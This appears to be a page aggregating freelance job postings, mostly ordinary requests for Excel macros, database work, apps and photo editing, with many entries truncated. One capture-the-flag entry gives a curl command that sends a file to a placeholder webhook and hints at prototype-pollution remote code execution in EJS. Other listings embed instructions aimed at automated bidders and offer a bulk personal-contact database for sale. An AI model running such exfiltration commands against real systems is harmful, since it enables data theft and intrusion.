Sql server database manipulation using macro jobs

I'm in need of a proficient expert who can assist me with running queries on DuckDB using data originating from Amazon S3. This task primarily involves: - Interacting with semi-structured data such as XML and JSON - Processing a substantial data volume ranging from 1GB to 1TB The ideal freelancer should have the following capabilities: - Deep understanding and experience with DuckDB and Amazon S3 - Strong skills in handling and querying semi-structured data - Experience in managing and processing large volumes of data Please note: it's critical that the freelancer have experience with managing these sorts of tasks previously and has a solid understanding of large volume data manipulation.

I am seeking an experienced engineer who can assist me in the design and analysis of a new project. Ideal skills and experience for the job: - Proficiency in AutoCAD for design and analysis - Strong background in engineering, particularly in the area of design and analysis - Excellent problem-solving skills - Ability to work closely with me to understand my vision for the project and bring it to life

I'm seeking a specialist to locate a VPS/VRoot server that can provide minimized latency to a website origin hidden behind a Cloudflare proxy. The task encompasses: - Identifying the server with the lowest possible ping based in Europe. - The server should run on a Windows operating system. - The ultimate objective is to improve user experience by minimizing latency. Ideal freelancers for this job will have a robust understanding of server locations, operating systems and how they interplay with website latency. Experience with Cloudflare proxies, Windows-based servers, and in-depth knowledge on achieving optimal latency is distinctly beneficial. The website would be and I require the lowest ping when buying an item on the sites trading page. Ping can b...

I need an experienced Linux admin who can help me set up a CentOS server to function as a web, database, and file server. The ideal candidate will be familiar with CentOS and have experience configuring a server with multiple services. Key Requirements: - Install and configure CentOS on a server - Set up Nginx as the web server - Configure the server to also function as a database and file server - Ensure the server is secure and optimized for performance - Provide documentation of the setup and configuration for future reference.

Just a quick bit of help needed in excel macro writing. See attached before and after showing a piece of the original data. and what i neeed the macro to achieve. WHAT IM ASKING If two adjacent cells in column b are equal, then add cells adjacent column c cells, put the result in the first column c cell and remove the duplicate row. AEE ATTACHED png. I need a tailored solution for a data manipulation task within Excel. Specifically, I am looking for an Excel macro that can accurately merge cells based on their adjacency. Essential skills and experience should include: - Expert knowledge of Excel and its macro functionality - Prior experience with data manipulation tasks such as merging cells - Understanding the rules or criteria for mergi...

I am looking for an expert who can assess and modify an existing Excel macro for compatibility with Excel for Mac 2019 or later. The current macro mainly handles formatting tasks within the Excel file. Key Requirements: - Assess the current macro's compatibility with macOS - Modify the macro to ensure compatibility with Excel for Mac 2019 or later I don't have a strict deadline for this project, so you can work on it at your own pace. However, I am looking for someone who can get this done efficiently and effectively. Feel free to ask any questions for more information. Ideal Skills and Experience: - Proficient in Excel VBA and macros. - Extensive experience in adapting macros for cross-platform compatibility. - Knowledge of macOS compatibility issues with...

Hello, This is a $20 project. Looking for a freelancer to develop a python script to retrieve restaurant data from Google Maps using the Maps/Places API. The script should target restaurants that have a phone number and *do not* have a website. The inputs I need to enter are: - Location (latitude and longitude) - Search Radius (in meters) - Ensure the business/place is a restaurant, bakery, etc. Key Data to Retrieve, output in a .CSV: - Business Name - Address - Phone Number - Google Maps URL Thank you, trooper501

I am in need of a skilled AppSheet developer to create a custom app for my small warehouse inventory business. Key Features: - Inventory Tracking: I require a system that will consistently track and update inventory in real-time to ensure accuracy. Other Details: - Products: As a small warehouse, I have less than 50 different types of products. - User Access: The app will not need to support multiple users accessing and updating the inventory simultaneously. Ideal Skills: - Proficient in AppSheet development - Experience in building inventory tracking systems Please respond with your relevant experience and sample work for further consideration.

I'm looking for a skilled developer to create a user-friendly website for my MMORPG game server. Key elements of the project include: - Designing an engaging and intuitive UX/UI template for the website that resonates with the game's theme and aesthetics - Inclusion of essential features to enhance user experience Your expertise in web development, specifically in the gaming sector, will be crucial to this project's success. A strong understanding of user behavior, and the ability to translate that into a visually appealing and functional website is a must. Please provide a portfolio showcasing your previous work in this area. Experience with MMORPGs or gaming websites will be highly valued.

I'm in need of a skilled OpenCV programmer to help me with a bug in my WhatsApp automation script. Here's what you need to know: - The specific issue is that the automation isn't starting as expected. - The script is written in Node.js. - I haven't been able to locate any error messages or logs that might be related to the issue. You should ideally have experience with: - WhatsApp automation - Node.js - OpenCV Your task will be to identify the root cause of the automation failing to start and rectify it.

I need a Cloudflare expert to set up and configure my server for a high traffic website. - Tasks: The primary task will be setting up and configuring the server for the website. This includes but is not limited to ensuring the server is set up correctly, testing its performance and functionality, and making any necessary adjustments. - Specific Optimization: Experience in optimizing servers for high traffic websites is a must. - Cloudflare Specifics: While the primary focus is on server setup, knowledge of Cloudflare and its CDN (Content Delivery Network) feature is highly desired. Ideal Freelancer: A Cloudflare expert with experience in server setup and optimization, particularly for high traffic websites. Knowledge of setting up and configuring ...

I require the cleaning of image history from certain photos. Here's what's needed: • Cleaning image history from various websites including Google Imagery, Yandex, and TinEye. • In the process, the goal is to not only remove unwanted objects from the image but to also enhance its quality and restore any damaged areas. • Expertise in image manipulation, using image editing software, and online reverse image search tools are key for this project. • Previous experience in this particular field would be an asset, hinting a familiarity with the process and promising more efficient results. Remember, attention to detail is key for efficient restoration. Let's clean up the past and provide these images a fresh start!

Hi, I am looking for expert to connect SQL database togoogle looker studio so we can analise data and creat reports, it is a long term coopartion. Please provide implementation cost and hourly charge. Best.

...programmer who is well-versed in SQL Server 2019. The primary task is to ensure that new columns added to the database are correctly displayed in the Excel report generated by the application also fix some minor areas that will discuss in detail Key Responsibilities: - Troubleshoot and fix the issue of new columns not being displayed in the Excel report - Ensure that all relevant data is correctly fetched from the SQL Server 2019 database - Implement a seamless solution that does not affect the overall functionality of the application Ideal Skills and Experience: - Strong proficiency in C# programming language - Expert knowledge of SQL Server 2019, including stored procedures and functions - Prior experience with similar tasks in...

If you read it start your message with 'REACT'. I'm looking for a React specialist to help me deploy a wallet connect feature on my server. This is a React project that I need to deploy on my server. The project is for a wallet connect feature for crypto. There is already a working example from GitHub and I need it deployed on my server. Experience in the following areas would be ideal: - Proficiency in React - Experience with deploying projects on servers

...photo and substitivng that figure with more of the fountain that is in the background of the same image. Here are key details: -The photo is in HEIC format. -The person should be entirely replaced in the image, not just removed. -Replace the person with a continuation of the fountain already present in the picture's background. The ideal freelancer for this project would be proficient in photo manipulation and editing, with specific experience in manipulating HEIC file formats. A strong sense of aesthetics and detail is crucial to ensure that the inserted fountain looks as natural as possible in the final product. First photo is the one I would like to be edited to remove the man on the right. Second photo has a better picture of the fountain if that could help restore t...

...complete but due to some error while connecting to the database some code is missing and the connection is not completed. You have to find out where the problem is and fix it properly. I will help you in everything ******* I'm seeking a skilled PHP developer to assist with a project that involves fixing a PHP file and combining a Php ,MySQL database. The main tasks for this project include: - Resolving a database connection issue in the PHP file. - Combining the MySQL database in the backend of the PHP file. Your role will be crucial in ensuring that the database is correctly integrated into the PHP file and that the database connection is stable and error-free. The PHP file should be able to successfully communicate with the MySQL ...

We are in the final stage of migrating an existing Django Project to a new machine in a docker compose stack. The database is already moved over. We are stuck with python dependency issues. You need to have good knowledge in - Django and Python3 - Docker, especially Compose stacks - Postgresql You will be working with a system admin who is in the middle of the migration and take over the dependency part, tmate will be used to work together. If you have read this, please add "HDJX34K" to your bid or it will be considered spam, ignored and removed. Your job: - docker compose build - have a look at the python dependency issues - try to resolve them and rebuild. - eventually adjust Django's accordingly. We want this work done now, and you must be able to start immed...

We are seeking an experienced freelance developer to design and develop an online service booking platform targeted at legal professionals. The project includes creating both a web application and a mobile application for service providers. Responsibilities:Design and develop an intuitive user int...booking system with calendar and availability management. Implement secure payment systems and automatic notification features. Ensure compatibility between the web and mobile to best practices for security and data protection. Required Skills:Proven experience in web and mobile in front-end and back-end technologies (e.g., React, Node.js).Experience with SQL or NoSQL understanding of UX/UI design to meet deadlines.

...and responsive. **Key Responsibilities:** - Design and build advanced applications for both iOS and Android using frameworks like Flutter. - Work alongside other teams to define, design, and deploy exciting new features. - Focus on application performance and user experience. - Maintain high standards of code quality and push for continuous improvement. **What You Need:** - BS/MS in Computer Science, Engineering, or related field. - 2-3 years of full-stack development experience, with significant focus on mobile apps. - Strong proficiency in Flutter or similar, front-end technologies (HTML5, CSS3, JavaScript), and backend development (Node.js, Django). - Experience with databases (SQL & NoSQL), cloud services (AWS, Google Cloud, Azure), and versioning tools like Git....

Hello! I need someone who is an expert in web programming with PHP to translate any kind of PDF for free in using PHP. This PDF must not lose its quality. It must remain intact and it must preserve the ORC format, style and all. I want the translation to be exactly like the one from onlinedoctranslator.com. I know you're going to tell me that the Google Translate api isn't free, but you can use this library (link removed) . Then it has to choose the number of pages in the PDF. Even if the PDF is 100 pages or more, it must be able to translate it. It must support encrypted PDFs and PDFs protected by passwords. I will use your code in my site. You can visit it and you'll see that the PDF translation is missing. I've told you everything and I hope you'll give ...

Hello^^^^. I'm using Amazon AWS and would like to request server maintenance. First of all, I would like to ask you to do as much as possible for server security and privacy, such as SSL installation, automatic backup once a day, DDOS attack prevention, system performance optimization, hacking prevention, encryption between data transmissions, real-time monitoring, data recovery, backdoor checking, backdoor checking and deletion of compromised files, attack root identification and blocking, suspicious process occupation identification and recovery, server hacking analysis, server access history tracking, password recovery and complexity setting, virus and malicious software checking,,data leakage prevention.....etc My current monthly budget is about...

I'm on the lookout for a skilled RHEL Engineer to assist in getting our server on the Certified Hardware List. The role will require expertise in the core language of RHEL. Although I'm unsure if proficiency in C is obligatory, having it would be a welcome advantage. Specifically, the Engineer will: - Understand the requirements for RHEL certification - Prepare the server for the process - Perform the tasks and tweaks necessary to meet certification conditions I anticipate that a strong understanding of programming, RHEL, and Linux-based operating systems will be necessary. Experience with server certification will also be highly beneficial.

...user login/signup, in-app messaging, push notifications, photo and file upload. Advanced features should also include GEO Fencing, QRCODE/Barcode scanning and face recognition. The app should be supported by SQL and allow user details to be saved and retrieved from a database. Furthermore, the app needs to integrate with Google services like Maps and Calendar. The design of the app should be minimalistic but seamless for easy user interface. Therefore, a developer with design skills would be perfect for this task. - ESSENTIAL SKILLS: - Android app development - Knowledge of SQL - Minimalistic app design - Experience in GEO Fencing, QRCODE/Barcode scanning, Face Recognition - API integration with Google services This project will require rigorous tes...

I'm looking for an experienced freelancer who can create an Excel calculator for historical cryptocurrency prices from Binance and Luno. The calculator should also incl...include fiat exchange rates for major currencies such as ZAR/USD bank sell rates Key Requirements: - Retrieve historical price data from Binance and Luno - Incorporate USD, and ZAR exchange rates - Organize the data and create user-friendly interface - Ensure accuracy and reliability of the calculator - Prioritizing the preservation of data privacy Ideal Skills: - Proficiency in Excel and data manipulation - Familiarity with cryptocurrency exchange APIs - Knowledge of major fiat currency exchange rates - Strong analytical and problem-solving abilities Please include your relevant experience in your applicat...

I'm in need of a skilled developer with strong experience in NodeJS, React, and Next/NestJS. The p...Search Functionality: The application will have a search feature that allows users to find specific content or items efficiently. This will require robust search algorithms and user-friendly interfaces. - Payment Gateway Integration: The application needs to support payment processing. You'll need to integrate a payment gateway to handle transactions securely and seamlessly. Your experience in SQL will also be valuable to ensure efficient data management and integration with the web application. Please provide examples of your past work that demonstrate your expertise in these areas. I'm looking for a reliable, communicative individual who can deliver a high-quality...

...an ER diagram, relational schema, database dump, SQL files, and queries for a library database system. Requirements: - ER Diagram: An ER diagram is required with rationalities similar to the example provided in this link: - Relational Schema: Develop a relational schema that effectively models the database. - Database Dump: Provide a database dump for the system. - SQL Files and Queries: The project should include a set of SQL files and queries that effectively interact with the database. - Managerial Queries: Develop a minimum of 20 managerial queries that will be used to analyze and manage the library database. Deadline: This project must be completed by Monday. Ideal Skills: - Proficiency in database d...

I have a Windows 2019 Server acting as a Domain controller to which I have administrator privileges. My PC connects to the Domain and there are 3 users who logon to the PC/Domain. They are Michael, John and Peter. I want to set a default username for the PC in the format DomainMichael so that no matter who logged on last, whenever they logout then the logon screen will always show DomainMichael. Ideal skills & experiences: - Proficient with Windows Server 2019 Active Directory and Registry Editing - Experience in creating new user accounts with specific permissions. - Attention to detail to ensure the username is configured correctly. Looking forward to your bids.

I'm currently using a Windows server on-premises. In an effort to optimize my operational costs, I'm looking to migrate my database workloads to Microsoft Azure. Key Requirements: - Migration: The primary objective is to move my database workloads from the on-premises server to Microsoft Azure. This process should be seamless and efficient to avoid any disruption to my operations. - Cost Optimization: The main reason for this migration is to save on costs. The chosen freelancer should be able to demonstrate a clear understanding of cost-saving strategies within Azure. Post-Migration Assistance: - Azure Active Directory Setup: I'll require help in setting up Azure Active Directory to ensure smooth authentication and authorization processes...

I have a critical Windows Server 2019 running as a database server on-premises, and I am looking for a professional who can efficiently migrate it to Microsoft Azure. Key Requirements: - The current server is Windows Server 2019, so experience with this version is a must. - The server's primary function is as a database server, so experience with database migration and management is crucial. - The uptime of my services is critical and 24/7, so the migration process needs to be planned and executed without causing any significant downtime. Ideal Skills: - Extensive experience with Windows Server 2019 and Microsoft Azure migration. - Proficiency in database management and migration. - Understanding of critical se...

I need a solution that can automatically insert page numbers onto every A4 page in my document at the bottom. Key Requirements: - The system should work with A4 format. - It should be able to insert these page numbers automatically and consistently on every page. - The page numbers should be placed at the bottom of each page. Ideal Freelancer: - Experience working with PDF manipulation and automation. - Proficient in software that can perform automatic page numbering. - Attention to detail in maintaining consistency in design and positioning of the page numbers.

...complex backend development and database integration tasks and run code as offline. Key Responsibilities: Develop, test, and maintain robust, scalable, high-quality software solutions. Design and implement new features and functionality. Write clean, maintainable, and efficient code. Develop RESTful APIs to support front-end functionality. Integrate user-facing elements developed by front-end developers with server-side logic. - In-depth understanding and experience of backend operations using Python Django. - Managing and integration of the database with the application. - Maintenance and improvement of existing codebase for optimal functionality. Desirable Skills: - Proven experience in Python Django for backend development. - Hands-on experience in ...

I've compiled a comprehensive global leads database with 8 million entries. The database includes a variety of details such as name, email, contact number, website, profession, and even Instagram username. - **Purpose**: This database is specifically designed for sales leads generation. It's meant to help businesses and organizations reach out to potential customers and grow their sales. - **Categorization**: The leads are not just categorized by one specific filter. Instead, they're a mix of different categories from various industries, countries, and professions. This eclectic mix provides a wide range of opportunities for potential buyers. - **Delivery Method**: I'm looking to sell this database through a CSV file, online access to the...

Commercial real estate agency database of GCC

About Plesk hosting upgrading the database from MariaDB 10.1 to 10.3 i would like to upgrade the database from MariaDB 10.1 to 10.3 for my hosting however, my hosting have a lot of client website in it, just would like to know if this upgrade will not affect the existing database thanks

I am in need of a professional photoshop artist to remove specific elements from the background of my photos. These elements include: - Parking lot - Outhouse - Sign Once removed, these elements need to be seamlessly repl...elements need to be seamlessly replaced to match the rest of the nature in the photo. The ultimate goal is to make the edited areas indistinguishable from the rest of the background. The desired resolution for the edited photos should simply match the existing resolution of the original photos. Ideal candidates would have a strong proficiency in photoshop, with particular experience in photo manipulation and retouching. A keen eye for detail and an understanding of natural light and shadow are also advantageous. There are 30 photos total and they are all ver...

I have an Excel file with a macro that I need to be updated for compatibility with Excel for Mac 2019 or later. The current macro's compatibility with macOS is unknown to me, and I need an expert to assess and modify the code as needed. Key Requirements: - Update the existing macro for compatibility with Excel for Mac 2019 or later. - Ensure the modified macro functions correctly on a MacBook Pro 2018 intel OS Ventura. Ideal Skills and Experience: - Proficient in Excel VBA and macros. - Extensive experience in adapting macros for cross-platform compatibility. - Knowledge of macOS compatibility issues with Excel macros.

HI we are looking for Web and mobile app developers for cs cart who can also give some idea. ( using ) Reference is We will add Auction bidding option ( ) I was hoping to see any references you’ve created that is similar to direct-liquidation idea, we want something very similar but with having the auction feature added, which is something already available and offered from CS-Cart Looking to see what would you suggest to make with a similar idea to our reference Buy now and Bid option with payment gateway. multivendor with a bidding system. Ppl can buy or bid based on vendors choice and the system

...miniature should be medium-sized, ranging between 4 to 8 inches. - Intricate details are vital for this project; thus, the artist should have advanced 3D modeling skills, capable of reproducing minor features evident in the original 2D photo. - Though the original image is colored, I want the 3D miniature to be in a single color only. Accordingly, a good understanding of shading and texture manipulation to replicate depth and feature details despite the lack of color diversity will be crucial. - The successful applicant should demonstrate experience in similar projects, emphasizing detail replication and the successful translation of 2D images into 3D forms. Turn around time, cost, and a portfolio of past work will be determining factors in who I choose for the job. I am excit...

I am looking for a well-qualified freelancer to help me develop a motivational app using AI. The user interface required for the app will be a mobile application. We will also need an admin panel to manage user subscriptions. Additionally, AI scripts need to be incorporated into the app as well. The purpose of the app is to motivate users and encourage them to reach their goals. The freelancer I choose to work with must possess advanced experience in both mobile application development and AI programming. They should be comfortable working with both UI/UX design and backend development to ensure that the app functions correctly. Project Brief -

Self Managed Home Care Providers Database

...the website that will send / to your webhook. curl -F flag=@/ {webhook} To connect to the challenge go to hint 1: You can pollute NodeJS applications, Alex did a talk about it and the slides are available to read at where the important slides for this challenge are 17-53. hint2: The web application is using the EJS template engine for rendering templates. Alex talked about a Prototype Pollution gadget that could be exploited to get RCE when EJS renders a template, you should check the link to an article and read the last bit. https://docs.google.com/presentation/d/1Ae38Nv6mUntog3AIcI9m_IuBfoxBWoEsw7njI2x8EX0/edit#slide=id.g22e32f4d19a_0_16 hint3: The format of the payload is slightly different to

Need to do tamil typing :- using Google Transliteration or any other transliteration tool. For example For the words -"என்ன செய்கிறாய் " , you have to type 'yenna seigiraai' and to use any transliteration tool to convert to tamil and return as a docx. or google docs. Totally need to type 30 pages . A sample page is attached.

I'm looking for a seasoned AWS Data Engineer with over 8 years of experience to support me in handling data extraction and transformation tasks. Key Responsibilities: - Data Extraction: The engineer will be responsible for extracting structured data held in SQL databases. - Data Transformation: You will be required to transform the extracted data into a usable format for our analytics and reporting. Skills and Experience: - 8+ years of experience as an AWS Data Engineer. - Proficient in working with structured data, in particular, SQL databases. - Extensive experience in data transformation. - Expertise in AWS services, especially Amazon S3 and Glue. Your support will be essential in ensuring the smooth flow of our data processes. Please provide examples of your past ...

I'm seeking a data entry specialist with a knack for precision to type data from PDFs into an online database. Key Requirements: - As a data entry specialist, you will be responsible for the accurate and timely entry of data from PDFs into our online database. - The data format should match the original PDFs, with no specific validation rules needed. - The ideal candidate will be detail-oriented, with a proven track record of data entry. If you're someone who enjoys working with data and has an eye for detail, this could be an ideal project for you.

I'm looking for a skilled Visual Basic 6 programmer to adjust functionality within my VB6 source code. The task primarily involves expanding reporting functions to ...code. The task primarily involves expanding reporting functions to include more tables. Ideal applicants should have: - Extensive experience in VB6 programming. - Previous work involving functionality adjustments, particularly in Reporting and Data Management. - A keen eye for detail to maintain existing code integrity while implementing changes. - Strong understanding of data management and manipulation in VB6. Your role will be solely focused on altering the existing VB6 code and ensuring the changes don't disrupt the software's operational flow. Familiarity with VB6 and past projects involving Repor...

I'm looking to create a comprehensive database of self-managed home care providers in Queensland and Australia to facilitate networking within the industry. Key requirements: - The database should include the provider's: - Name - Address - Email - Prime contact Ideal skills for this project: - Proficiency in data collection and database creation - Familiarity with the home care industry in Queensland and Australia - Organizational skills, to categorize the data by region - Excellent attention to detail, ensuring accuracy in information provided The data should be organized by region for easier networking. I may also require the database to be updated periodically. The collected information should be reliable, up-to-date, and include a diver...

i have a list of 11,000 car part numbers. need to find the image from each one, if you type the part number in google you'll find the image for that part.

I'm in need of an Excel macro expert who can help me with a data arrangement task. The task involves transferring sequences of cells data from one grouped workbook to multiple original workbooks and worksheets. The data transfer should be based on specific criteria. Key Requirements: - Data transfer based on a specific criteria: The macro should transfer data based on a specific criteria. This involves arranging the data from the grouped workbook into different cells in a column in the original workbooks based on predefined conditions. - Conditional Logic: The macro should include conditional logic. This means that the data transfer should not just be a simple copy-paste operation, but should involve logical conditions for accurate and efficient data arrangement...

I have two photos where I need the same location, same spot to have the addition of both large and spiderweb cracks. These should be a combination of subtle and prominent cracks, to create a realistic effect. Ideal skills and experience for this job include: - Proficiency in photo editing and manipulation software such as Adobe Photoshop or GIMP - Previous experience with creating realistic effects, such as scratches or cracks - A good eye for detail to ensure the cracks blend well with the original photos - Ability to understand and meet the client's need for a combination of subtle and prominent effects - Understanding the client's need for the photos to be used as a joke on a friend, and being able to ensure the cracks are realistic enough to serve that purpose.